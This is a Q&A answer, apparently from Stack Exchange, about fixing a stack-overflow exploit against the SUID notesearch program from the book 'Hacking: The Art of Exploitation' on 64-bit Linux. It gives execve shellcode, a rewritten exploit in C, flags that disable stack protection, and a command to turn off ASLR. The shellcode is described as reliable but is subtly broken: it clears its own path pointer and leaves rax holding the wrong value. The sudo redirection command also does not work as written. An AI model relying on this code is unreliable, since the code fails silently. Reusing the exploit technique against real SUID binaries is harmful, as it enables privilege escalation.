为何《黑客:漏洞利用的艺术》中exploit_notesearch程序触发段错误?
Hey there, let's break down why you're hitting consistent segmentation faults and fix this step by step. Your setup has a few key mismatches between 32-bit and 64-bit environments, which are the root causes here.
Core Issues Identified
- 32-bit Shellcode on 64-bit System: The shellcode you're using is designed for 32-bit Linux, but you're running a 64-bit Kali. 64-bit systems use completely different system calling conventions (syscall numbers, register usage, stack layout), so this shellcode will never execute properly—you’ll get segfaults before it can spawn a shell.
- Incorrect 64-bit Address Handling: You’re treating 64-bit memory addresses as 4-byte values. In your loop, you increment by 4 and cast to
unsigned int, but 64-bit addresses are 8 bytes. This truncates the return address, leading to jumps to invalid memory. - Offset Calculation Mismatch: The offset value you’re using is tuned for a 32-bit stack layout. 64-bit stacks have different alignment requirements and frame sizes, so your manual offset guessing won’t hit the right return address.
Step-by-Step Fixes
1. Replace with 64-bit Shellcode
Use a standard 64-bit Linux shellcode that spawns /bin/sh via execve. Here’s a reliable one:
char shellcode[] = "\x48\x31\xff\x48\x31\xc0\xb0\x01\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xff\xb0\x3b\x0f\x05";
This shellcode follows 64-bit syscall rules: it uses rax for syscall numbers, rdi/rsi/rdx for arguments, and triggers the execve syscall (number 59 in 64-bit Linux) to launch /bin/sh.
2. Fix Return Address Handling
Update your code to handle 64-bit addresses correctly:
- Change the type of
rettounsigned long(matches 64-bit pointer size) - Adjust the loop to increment by 8 bytes instead of 4, and cast to
unsigned long*:
int main(int argc, char *argv[]) { long int i; unsigned long *ptr, ret, offset=270; // Use unsigned long for 64-bit addresses char *command, *buffer; command = (char *) malloc(200); bzero(command, 200); strcpy(command, "./notesearch \'"); buffer = command + strlen(command); if(argc > 1) offset = atoi(argv[1]); ret = (unsigned long) &i - offset; // Correct type for 64-bit address for(i=0; i < 160; i+=8) // Increment by 8 for 64-bit addresses *((unsigned long *)(buffer+i)) = ret; memset(buffer, 0x90, 60); memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command); free(command); }
3. Calculate the Exact Offset with GDB
Stop guessing offsets—use GDB to find the precise value needed to overwrite the return address:
- Compile
notesearchwith debug symbols:gcc -g ... -o notesearch notesearch.c - Generate a pattern to find the offset: Use
pattern_create 200(from pwntools or GDB peda) to get a unique string. - Run
gdb ./notesearch, then executerun 'INSERT_PATTERN_HERE'—this will trigger a segfault. - Check the value of the
RIPregister (the instruction pointer in 64-bit) withinfo registers rip. - Use
pattern_offset RIP_VALUEto get the exact number of bytes needed to reach the return address. Use this value as youroffset.
4. Verify Compilation & Stack Permissions
- Ensure your compilation flags are correct for 64-bit:
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c - Confirm the stack is executable: Run
readelf -l ./notesearch | grep GNU_STACK—you should seeRWE(Read-Write-Execute) permissions. If not, recompile with-z execstack. - Disable ASLR temporarily for easier debugging:
sudo echo 0 > /proc/sys/kernel/randomize_va_space(reset to 1 when done testing).
5. Validate SUID Permissions
Double-check that notesearch has the correct SUID bits set:
ls -l ./notesearch
You should see something like -rwsr-xr-x 1 root root ...—the s in the owner permissions confirms SUID is active.
Debugging Tips
- Use GDB to step through your exploit: Set breakpoints at key points (like before
system(command)) to inspect thebuffercontents andretvalue. - Check if your shellcode is being copied correctly: Use
x/20x bufferin GDB to view the memory and confirm the NOP sled (0x90) and shellcode are present.
内容的提问来源于stack exchange,提问作者Victor Simon

